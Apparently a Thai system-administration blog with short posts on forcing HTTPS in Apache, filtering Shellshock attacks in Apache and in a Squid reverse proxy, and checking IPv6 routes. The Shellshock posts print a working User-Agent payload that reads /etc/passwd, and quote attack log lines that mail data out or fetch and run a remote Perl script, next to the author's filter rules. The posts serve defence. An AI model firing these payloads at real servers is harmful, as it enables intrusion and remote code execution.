วันศุกร์ที่ 22 พฤษภาคม พ.ศ. 2558

Ubuntu, Apache : การบังคับ Redirect HTTP ไป HTTPS

ระบบที่ใช้ทดสอบ
OS: Ubuntu 14.04.2

- ทำการเปิด Module ดังต่อไปนี้

root@server:~#  a2enmod  ssl
root@server:~#  a2enmod  rewrite

- ทำการสร้าง Key file และ Certificate file

root@server:~#  openssl req -x509 -nodes -days 1000 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt

- แก้ไขไฟล์ /etc/apache2/sites-available/default-ssl ในส่วนต่อไปนี้

        SSLCertificateFile    /etc/apache2/ssl/apache.crt
        SSLCertificateKeyFile /etc/apache2/ssl/apache.key

- ทำการ Enable HTTPS

root@server:~#  a2ensite  default-ssl

- แก้ไข Config เพื่อบังคับ Redirect HTTP ไป HTTPS โดยแก้ไขไฟล์ /etc/apache2/sites-enabled/000-default ดังนี้

        RewriteEngine On
        RewriteCond %{HTTPS} !=on
        RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L]


- จากนั้น Restart web service

root@server:~#  service apache2 restart


วันศุกร์ที่ 20 กุมภาพันธ์ พ.ศ. 2558

Apache: การป้องกัน Shell Shock ด้วย Apache แบบไม่ต้อง Patch

ด้วยเหตุผลบางอย่าง หรือหลายอย่างเราอาจไม่สามารถ Patch ระบบเพื่อป้องกันการโจมตีแบบ ShellShock ได้ ดังนั้นจึงต้องหาวิธีป้องกันผ่าน Apache เพื่อที่อย่างน้อยก็พอลดความเสี่ยงลงได้

ระบบที่ใช้ในการทดสอบ
Red Hat Enterprise Linux Server release 6.5 (Santiago)
Apache/2.2.15

เริ่มจากทดสอบโจมตี ShellShock ด้วยคำสั่ง wget

# wget -U "() { test;};echo \"\"; echo; echo; /bin/cat /etc/passwd" http://www.komkit.net/test.cgi

--2015-02-20 18:54:01--  http://www.komkit.net/test.cgi
Connecting to www.komkit.net:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: “test.cgi”

    [ <=>              ] 1,717       --.-K/s   in 0.001s

2015-02-20 18:54:01 (1.31 MB/s) - “test.cgi” saved [1717]
 


ผลที่ได้คือ ได้ Content ของไฟล์ passwd มา ดังตัวอย่าง

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin


เมื่อไปตรวจสอบที่ access.log จะพบ

xxx.xxx.xxx.29 - - [20/Feb/2015:18:54:01 +0700] "GET /test.cgi HTTP/1.0" 200 1717 "-" "() { test;};echo \"\"; echo; echo; /bin/cat /etc/passwd"

ซึ่งจาก Log จะเห็นว่า Code ในการโจมตีนั้นอยู่ในส่วนของ User-Agent ซึ่งนั่นคือส่วนที่นเราจะเอามา Filter นั่นเอง

เริ่มจากทำการสร้างไฟล์ .htaccess ไว้ที่ WWW Root directory (การ Configure อาจไม่ใช่ตำแหน่งนี้ ทั้งนี้อยู่ที่ความเหมาะสม)

# vi /var/www/html/.htaccess

SetEnvIfNoCase User-Agent "() { " Blocked 
<Limit GET POST HEAD>
        order allow,deny
        allow from all

        deny from env=Blocked
</Limit>



ทำการ Save ไฟล์ แล้วทดสอบอีกครั้ง

# wget -U "() { test;};echo \"\"; echo; echo; /bin/cat /etc/passwd" http://www.komkit.net/test.cgi

--2015-02-20 19:03:56--  http://www.komkit.net/test.cgi
Connecting to www.komkit.net:80... connected.
HTTP request sent, awaiting response... 403 Forbidden
2015-02-20 19:03:56 ERROR 403: Forbidden.

ได้ผล! 
แต่ก็อย่าลืมหาทาง Patch ระบบกันนะครับ

หมายเหตุ การ Configure ทุกอย่างมีความเสี่ยง อาจทำให้ระบบท่านหยุดทำงานได้ หากไม่ระวัง

วันพฤหัสบดีที่ 19 กุมภาพันธ์ พ.ศ. 2558

Squid Proxy: การป้องกัน Shell Shock ด้วย Reverse Proxy

ตัวอย่าง Log การโจมตี Shell Shock จาก Reverse Proxy

abc.xyz.113.99 - - [18/Feb/2015:01:57:46 +0700] "GET http://www.komkit.net/cgi-bin/test/test.cgi HTTP/1.1" 403 464 "() { :;}; /bin/bash -c "echo www.komkit.net | mail -s 'badsite.com' badguy@www.badsite.domain"" "() { :;}; /bin/bash -c "echo brh.thaigov.net | mail -s 'badsite.com' badguy@www.badsite.domain"" TCP_MISS:FIRSTUP_PARENT

abc.xyz.121.201 - - [14/Feb/2015:18:28:52 +0700] "GET http://www.komkit.net/ HTTP/1.0" 503 574 "http://www.komkit.net/index4.php" "() { :;}; /bin/bash -c "wget -O /tmp/bbb www.badsite.domain/b; perl /tmp/bbb"" TCP_MISS:FIRSTUP_PARENT

จาก Log ข้างต้นจะสังเกตุเห็นว่า ทุกๆ Logs จะมีส่วนที่เหมือนกันคือ 
() { :;};  ซึ่งจะอยู่ในส่วนของ Referrer request ซึ่งเราสามารถ Filter ได้ ดังนี้

ในส่วนของ squid.conf

acl ShellShock referer_regex -i "/etc/squid/shellshock"
http_access deny ShellShock
deny_info http://www.komkit.net/accessdeny.html ShellShock


สร้างไฟล์ /etc/squid/shellshock เพื่อใส่ Filter ดังนี้

\(\)\ \{\ \:\;\}\;

จากนั้นให้ทำการ Apply Squid ด้วยคำสั่ง squid -k reconfig

ทำการทดสอบด้วยเวบทดสอบ Shellshock https://shellshock.detectify.com/

ผลที่ได้ดังตัวอย่าง Log


54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3772 "() { :;}; /usr/bin/wget https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=/usr/bin/wget" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
 

54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3712 "() { :;}; curl https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=curl" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
 

54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3712 "() { :;}; wget https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=wget" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE

ซึ่งก็น่าจะช่วยป้องกันได้ในระดับนึง  แต่ยังไงก็อย่าลืม Patch ระบบดีกว่านะครับ ปลอดภัยกว่าเยอะ

วันจันทร์ที่ 19 มกราคม พ.ศ. 2558

การตรวจสอบ IPv6 routing และ IPv6 neighbors บน Linux

การตรวจสอบ IPv6 routing โดยคำสั่ง route

[root@Server komkit]# route -n -A inet6
หรือ
[root@Server komkit]# ip -6 route show


การตรวจสอบ IPv6 neighbors (ARP)

[root@Server komkit]# ip -6 neigh show